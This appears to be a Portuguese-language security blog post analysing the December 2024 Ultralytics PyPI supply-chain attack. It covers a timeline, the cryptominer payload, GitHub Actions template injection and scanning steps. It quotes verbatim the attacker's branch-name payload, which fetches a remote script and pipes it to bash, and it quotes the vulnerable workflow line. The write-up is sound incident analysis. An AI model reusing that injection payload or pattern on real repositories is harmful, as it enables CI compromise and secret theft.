Skip to main content

Ataque à cadeia de suprimentos do Ultralytics AI Pwn Request

Escrito por
feature insights context

11 de dezembro de 2024

0 minutos de leitura

O ataque à cadeia de suprimentos do ultralytics ocorreu em duas fases distintas, entre 4 e 7 de dezembro de 2024. Na primeira fase, duas versões maliciosas foram publicadas no PyPI: a versão 8.3.41 foi lançada em 4 de dezembro, às 20:51 UTC, e ficou disponível por aproximadamente 12 horas, até ser removida em 5 de dezembro, às 09:15 UTC. A versão 8.3.42 foi publicada pouco depois, em 5 de dezembro, às 12:47 UTC, e ficou disponível por cerca de uma hora, até ser removida às 13:47 UTC.

A segunda fase ocorreu em 7 de dezembro, quando o invasor publicou diretamente mais duas versões maliciosas no PyPI, ignorando totalmente o GitHub Actions. A versão 8.3.45 foi publicada às 01:41 UTC e ficou disponível por cerca de 8 horas, até as 10:08 UTC. A versão 8.3.46 foi lançada às 02:27 UTC e ficou disponível por aproximadamente 7,5 horas, até ser removida às 10:09 UTC.

O ataque foi detectado inicialmente por vários meios, incluindo o sistema automatizado de detecção de abuso do Google Colab, que começou a sinalizar atividades suspeitas poucas horas após o primeiro lançamento malicioso. Usuários de vários projetos relataram padrões incomuns de uso da CPU, e os responsáveis pela manutenção de pacotes identificaram discrepâncias entre o repositório do GitHub e as versões no PyPI.

Cronologia da exploração

2024-06-04       Commit inicial do scanner de GitHub Actions do snyk

Link: https://github.com/snyk-labs/github-actions-scanner

2024-08-14       Adnan Khan relata GHSA-7x29-qqmq-v6qc aos responsáveis pelo Ultralytics — vulnerabilidade de injeção em template

                  Link: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6q

2024-08-14       v0.0.3 de ultralytics/actions lançada com correção para GHSA-7x29-qqmq-v6qc

                  Link: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc

2024-08-24       v0.0.24 de ultralytics/actions reintroduz a vulnerabilidade no commit c1365ce

2024-12-03 22:28:49  @jiwuwgknvm começa a experimentar um ataque armado

2024-12-03 22:33:47  @jiwuwgknvm envia o PR #17984 (excluído) contendo um script run.sh para roubar tokens

2024-12-04 19:33:00  @openimbot envia o PR #18018 com injeção em template

                  Link: https://github.com/ultralytics/ultralytics/pull/18018

2024-12-04 19:57:00  @openimbot envia o PR #18020 com outro tipo de injeção em template

                  Link: https://github.com/ultralytics/ultralytics/pull/18020

2024-12-04 20:50:00  Lançamento da v8.3.41 iniciado por @UltralyticsAssistant

2024-12-04 20:51:12  Lançamento da v8.3.41 criado no PyPI

                  Link: https://files.pythonhosted.org/packages/d0/99/13d92174aa6a470d348a95e31164769f2cdf77838ea3c3e3fd476285777d/ultralytics-8.3.41-py3-none-any.whl

2024-12-04 23:46:00  Relato do problema #4979 no Google Colab — conta bloqueada por mineração de criptomoedas

                  Link: https://github.com/googlecolab/colabtools/issues/4979

2024-12-05 05:34:00  Problema #18027 aberto — discrepância no PyPI relatada

                  Link: https://github.com/ultralytics/ultralytics/issues/18027

2024-12-05 05:35:00  Problema #843 no ComfyUI aberto — relato de mineração de criptomoedas

                  Link: https://github.com/ltdrdata/ComfyUI-Impact-Pack/issues/843

2024-12-05 07:50:00  Problema #18030 aberto — uso da CPU em 100%

                  Link: https://github.com/ultralytics/ultralytics/issues/18030

2024-12-05 09:15:06  v8.3.41 removida do PyPI (após ~12 horas)

2024-12-05 09:39:00  Problema #184 no Comic-translate aberto — relato de mineração

                  Link: https://github.com/ogkalu2/comic-translate/issues/184

2024-12-05 12:46:00  Lançamento da v8.3.42 iniciado por @glenn-jocher

2024-12-05 12:47:29  v8.3.42 criada no PyPI

2024-12-05 13:47:30  v8.3.42 removida do PyPI (após ~1 hora)

2024-12-05 15:17:00  @glenn-jocher anuncia que @openimbot foi banido do Ultralytics

2024-12-06 19:51:00  Problema #19 no AdvancedLivePortrait-WebUI aberto — alerta de segurança

                  Link: https://github.com/jhj0517/AdvancedLivePortrait-WebUI/issues/19

2024-12-07 01:41:45  v8.3.45 lançada diretamente no PyPI (sem CI/CD)

2024-12-07 02:27:14  v8.3.46 lançada diretamente no PyPI (sem CI/CD)

2024-12-07 04:00:00  Adnan Khan anuncia que v8.3.45 e v8.3.46 são maliciosas

2024-12-07 10:08:32  v8.3.45 removida do PyPI (após ~8 horas)

2024-12-07 10:09:08  v8.3.46 removida do PyPI (após ~7,5 horas)

Ataque de mineração de Monero

As versões maliciosas do ultralytics incluíam uma carga de mineração de criptomoedas, projetada para funcionar silenciosamente em segundo plano enquanto consumia recursos significativos do sistema. O minerador era uma implementação do XMRig, configurada especificamente para minerar a criptomoeda Monero. O malware era sofisticado o bastante para acionar os sistemas automatizados de detecção de abuso do Google Colab, o que levou à suspensão temporária de algumas contas de usuários devido ao alto uso da CPU característico da mineração.

O minerador foi inserido no pacote por meio de alterações em duas funções importantes: safe_download e safe_run. A primeira etapa consistia em um downloader do lado do cliente, incorporado à função safe_download, que baixava a carga de mineração propriamente dita. A função safe_run foi modificada para executar o minerador em segundo plano, tentando ocultar o uso de recursos de uma observação casual. No entanto, o alto uso da CPU necessário para minerar criptomoedas tornou a presença do malware evidente para muitos usuários.

Como se preparar para corrigir os problemas do Ultralytics

Avalie sua exposição à dependência Python

Períodos em que as versões foram afetadas:

v8.3.41: 2024-12-04 20:51 UTC a 2024-12-05 09:15 UTC (~12 horas)

v8.3.42: 2024-12-05 12:47 UTC a 2024-12-05 13:47 UTC (~1 hora)

v8.3.45: 2024-12-07 01:41 UTC a 2024-12-07 10:08 UTC (~8 horas)

v8.3.46: 2024-12-07 02:27 UTC a 2024-12-07 10:09 UTC (~7,5 horas)

Para verificar se você foi afetado:

  1. Revise os logs de pip install desses períodos

  2. Verifique a versão atual: pip show ultralytics

  3. Revise os logs do sistema em busca de atividade incomum da CPU nesses períodos

  4. Verifique se houve builds automatizados ou execuções de CI/CD nesses períodos

Projetos que sabidamente dependem do Ultralytics

O Ultralytics é uma biblioteca de IA amplamente usada no ecossistema Python de IA/ML, especialmente em tarefas de visão computacional. Entre os projetos de destaque estão:

  • ComfyUI: usa YOLOv8 para detecção de objetos em muitos nós personalizados populares. A equipe se pronunciou sobre a situação aqui. 

  • Comic-Translate: usa modelos YOLO para detecção de texto

  • Roboflow: integração com YOLOv8 para detecção de objetos

  • Muitas outras ferramentas de Stable Diffusion e interfaces web

Entenda o ataque à cadeia de suprimentos de ultralytics/actions

O ataque explorou uma sofisticada cadeia de vulnerabilidades no GitHub Actions, mirando especificamente o sistema de automação de workflows por meio de uma técnica conhecida como injeção em template via nome de branch. Veja como o ataque ocorreu:

O comprometimento inicial aconteceu por meio de dois pull requests (PRs #18018 e #18020) maliciosos, enviados pela conta @openimbot. Esses PRs exploraram uma vulnerabilidade no workflow format.yml, que usava um gatilho pull_request_target inseguro combinado com expressões de template sem escape.

O ataque ocorreu em várias etapas:

O invasor criou uma branch com um nome cuidadosamente elaborado, contendo comandos de shell:

$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

Quando o workflow processou o nome dessa branch, a expressão de template foi expandida diretamente no contexto do shell por causa desta linha vulnerável:

git pull origin ${{ github.head_ref || github.ref }}

O comando expandido baixou e executou um script de shell malicioso que:

  • Exfiltrou tokens e segredos do GitHub

  • Envenenou o cache do pip usado pelo setup-python

  • Modificou os arquivos de distribuição das versões para incluir o minerador de criptomoedas

  • Possivelmente roubou credenciais de API do PyPI

A vulnerabilidade foi especialmente eficaz porque explorou uma ação personalizada em ultralytics/actions que havia reintroduzido um problema de segurança corrigido anteriormente.

Faça uma varredura com Snyk Open Source

O banco de dados de vulnerabilidades e as ferramentas de CLI do Snyk podem ajudar a identificar se você está usando uma versão comprometida do pacote Ultralytics. Você também pode usá-los para testar projetos de código aberto de forma mais ampla. Para verificar seu projeto:

1. Instale a CLI do Snyk:

npm install -g snyk

2. Autentique-se no Snyk:

snyk auth

3. Faça uma varredura no seu projeto Python:

snyk test

Isso vai identificar se você está usando alguma das versões maliciosas conhecidas do pacote Ultralytics (8.3.41, 8.3.42, 8.3.45 ou 8.3.46) e também verificar outras possíveis vulnerabilidades nas suas dependências.

Use o Snyk GitHub Actions Scanner no seu conjunto de ferramentas de DevSecOps

O Snyk GitHub Actions Scanner é um utilitário de código aberto que pode ajudar a identificar configurações vulneráveis do GitHub Actions, como as exploradas neste incidente. Embora não seja um produto oficial do Snyk, é uma ferramenta valiosa para seu conjunto de ferramentas de DevSecOps.

Para usar o scanner:

1. Clone o repositório e instale as dependências:

git clone https://github.com/snyk-labs/github-actions-scanner
cd github-actions-scanner
npm install

2. Configure seu token do GitHub:

echo "GITHUB_TOKEN=your-token-here" > .env

3. Faça uma varredura em um repositório:

npm start scan-repo -- -u https://github.com/your/repo

O scanner procura vários problemas críticos, incluindo:

  • PWN_REQUEST: identifica workflows que usam pull_request_target e também fazem checkout de branches de pull requests — exatamente a vulnerabilidade explorada neste incidente. Isso é perigoso porque o pull_request_target é executado com os segredos do repositório, mas pode ser acionado por colaboradores externos não confiáveis.

  • CMD_EXEC: detecta expressões de template sem escape, como ${{ }}, em diretivas run, que podem levar à injeção de comandos.

Para uma varredura mais completa, que verifique as ações referenciadas:

npm start scan-repo -- -u https://github.com/your/repo -r -m 5

Isso verifica as ações referenciadas até 5 níveis de profundidade, ajudando a identificar vulnerabilidades em toda a cadeia de ações.

Riscos de segurança de IA e segurança da cadeia de suprimentos

O incidente do ultralytics é mais um caso na longa lista de violações de segurança da cadeia de suprimentos de código aberto. Os registros npm e PyPI vêm sofrendo ataques de malware com foco em criptomoedas, que muitas vezes remetem às práticas de segurança dos responsáveis pela manutenção e à configuração segura dos projetos. Este ataque ao GitHub Actions demonstra como é fundamental seguir rigorosamente as práticas recomendadas de segurança.

Os riscos de segurança de IA não se limitam a incidentes na cadeia de suprimentos de código aberto: eles também se estendem ao aprendizado de máquina e aos registros de modelos. Ataques iminentes, como a execução remota de código, podem afetar desenvolvedores por meio de vulnerabilidades em formatos de arquivo de deep learning e de código inseguro gerado por IA, comumente usado por desenvolvedores por meio de LLMs.

Saiba como usar o Snyk para proteger código gerado por IA.

Prepare-se para o futuro dos assistentes de programação com a Snyk

Conheça os assistentes de programação e saiba como integrar essas ferramentas aos fluxos de trabalho de desenvolvimento.

Leia mais

blog feature ai lilac
Blog

Transforme seu backlog de vulnerabilidades em pull requests com remediação agentiva

O Evo Remediation Agent está em Open Preview e traz a resolução automatizada de dependências para o Evo Agentic AppSec. Agora, as equipes de AppSec podem executar campanhas contínuas de remediação

illustration hero ai
Blog

PHP corrige duas vulnerabilidades críticas de RCE sem autenticação (CVE-2026-109618, CVE-2026-109619): atualize agora

Duas falhas críticas no ciclo de requisições do PHP podem permitir execução remota de código sem autenticação. Atualize para uma versão corrigida ou instale um backport do fornecedor para versões mais antigas.

blog feature ai pink
Blog

O risco de um modelo de IA depende do que ele pode acessar

A pontuação de risco de um modelo é apenas parte da história: seu impacto depende dos dados, das ferramentas e das ações que a aplicação pode acessar. Saiba como as equipes de segurança podem verificar esse alcance e escolher controles direcionados.